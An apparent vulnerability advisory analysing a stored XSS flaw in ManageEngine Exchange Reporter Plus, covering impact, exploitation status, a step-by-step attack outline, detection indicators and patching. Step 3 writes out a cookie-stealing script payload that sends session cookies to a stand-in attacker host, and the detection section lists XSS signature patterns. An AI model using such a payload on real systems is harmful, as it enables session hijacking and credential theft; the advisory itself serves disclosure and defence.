CVE-2026-28754: 
Zoho ManageEngine Exchange Reporter Plus vulnerability analysis and mitigation

CVE-2026-28754 is a Stored Cross-Site Scripting (XSS) vulnerability in Zohocorp ManageEngine Exchange Reporter Plus affecting all builds prior to version 5802 (including builds 5800 and 5801). The flaw resides in the Distribution Lists report within the Reports module, allowing an authenticated attacker with Exchange administrative privileges to inject persistent malicious scripts. It was disclosed and patched on April 3, 2026, with the fix implemented on March 19, 2026. The CVSS v3.1 base score is reported as 4.8 (Medium) by NVD and 7.3 (High) by GitHub Advisory Database and ENISA EUVD (ManageEngine Advisory, GitHub Advisory).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting), stemming from insufficient input validation in the Distribution Lists report feature. An authenticated attacker with Exchange administrative privileges can inject malicious JavaScript payloads into report data fields; these payloads are stored server-side and executed in the browsers of other users who subsequently view the affected report. The attack vector is network-based, requires low-to-high privileges depending on the scoring source, and necessitates user interaction (a victim viewing the compromised report) to trigger execution. No public proof-of-concept exploit code has been identified (ManageEngine Advisory, GitHub Advisory).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the security context of any user who views the poisoned Distribution Lists report, potentially enabling session token theft, credential harvesting, and unauthorized actions performed on behalf of the victim within Exchange Reporter Plus. The confidentiality and integrity impacts are rated High under the ENISA/GitHub scoring, meaning sensitive report data could be exfiltrated and report content manipulated. Availability is not directly impacted, but compromise of administrative sessions could lead to broader unauthorized access within the Exchange environment (ManageEngine Advisory, GitHub Advisory).

There is no evidence of active in-the-wild exploitation or publicly available proof-of-concept code as of the time of disclosure. The EPSS score is approximately 0.026% (8th percentile), indicating a low near-term exploitation probability. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires an authenticated attacker with Exchange administrative privileges, which limits the attack surface compared to unauthenticated vulnerabilities (GitHub Advisory).

1. Authentication: Log in to ManageEngine Exchange Reporter Plus using an account with Exchange administrative privileges within the Exchange organization.
2. Navigate to Distribution Lists report: Access the Reports module and open the Distribution Lists report, which is the vulnerable feature.
3. Inject XSS payload: Insert a malicious JavaScript payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) into an input field associated with the Distribution Lists report that is stored and later rendered without sanitization.
4. Wait for victim interaction: When another user (e.g., a higher-privileged administrator) views the affected Distribution Lists report, the stored payload executes automatically in their browser.
5. Harvest results: The executed script can steal session cookies, capture credentials, or perform actions within Exchange Reporter Plus on behalf of the victim, forwarding data to an attacker-controlled server (ManageEngine Advisory, GitHub Advisory).

• Logs: Unexpected or anomalous entries in Exchange Reporter Plus access logs showing unusual input values (e.g., HTML tags or JavaScript keywords) submitted to Distribution Lists report endpoints; audit logs showing report access by users who do not normally view Distribution Lists reports.
• Network: Outbound HTTP/HTTPS requests from victim browsers to unknown or external domains shortly after accessing the Distribution Lists report, potentially carrying encoded cookie or session data as query parameters.
• Application Behavior: Users reporting unexpected redirects, pop-ups, or browser behavior when viewing the Distribution Lists report within Exchange Reporter Plus.
• File System: Review Exchange Reporter Plus application data/database for stored report entries containing <script>, javascript:, onerror=, or similar XSS indicators in Distribution Lists report fields.

Zohocorp has resolved this vulnerability in Exchange Reporter Plus build 5802, released March 19, 2026, by implementing proper input validation in the Distribution Lists report. All users running builds 5801 and below should upgrade to build 5802 or later using the available service pack. As a temporary workaround prior to patching, restrict access to the Distribution Lists report to trusted administrators only, and consider deploying a web application firewall (WAF) configured to detect and block XSS payloads. After upgrading, conduct a security audit of existing Distribution Lists report data to identify any previously injected malicious scripts (ManageEngine Advisory).

The vulnerability was reported to Zohocorp by security researcher C311 through the Zoho BugBounty program, and Zohocorp credited the researcher in their official advisory. A brief mention was noted on Bluesky (cyberhub.blog) shortly after disclosure, but no significant broader media coverage or notable researcher commentary has been identified beyond standard vulnerability database aggregation (ManageEngine Advisory).